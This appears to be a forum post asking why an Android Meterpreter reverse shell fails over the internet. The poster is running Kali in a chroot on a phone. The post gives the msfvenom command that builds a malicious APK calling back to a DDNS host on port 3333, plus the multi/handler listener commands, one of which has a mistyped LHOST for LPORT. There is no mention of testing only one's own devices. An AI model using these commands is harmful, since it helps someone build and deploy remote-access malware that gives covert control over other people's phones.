Not Getting Meterpreter Session on WAN.

Platform: Asus ZenFone 2 Laser ZE550KL (2GB ) on Lineage 14.1

Software: Linux Deploy (Kali in installed using it), ssh client (to use chrooted environment), metasploit-framework.

Network: 4G Jio.

I have successfully got session on LAN using this device and configuration but couldn't do the same on WAN.

Command used to create payload :

"msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=xxx.ddns.net LPORT=3333 R -o /storage/emulated/0/qwerty.apk"

Commands for the meterpreter to listen :

"use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST my-device-ip

set LHOST 3333

exploit"

Payload starts but no session ever gets captured.

Earlier,I have tried this on pc with tethering but it didn't work (only on WAN , worked on LAN).Left that because of complexity of tethering...

Note: I tried to this to see if my system is alright:

Edited apache2 conf file to listen to desired port(say,4444) by " nano /etc/apache2/ports.conf".

Then "service apache2 start" and then used an online open port checker and it showed this port (4444,here) is open on my ddns hostname.So, I can conclude (probably) that my ISP is not blocking that port...

BUT when I set meterpreter to listen (say, on port 3333) , port remains closed on online port checker...

Thanks in advance!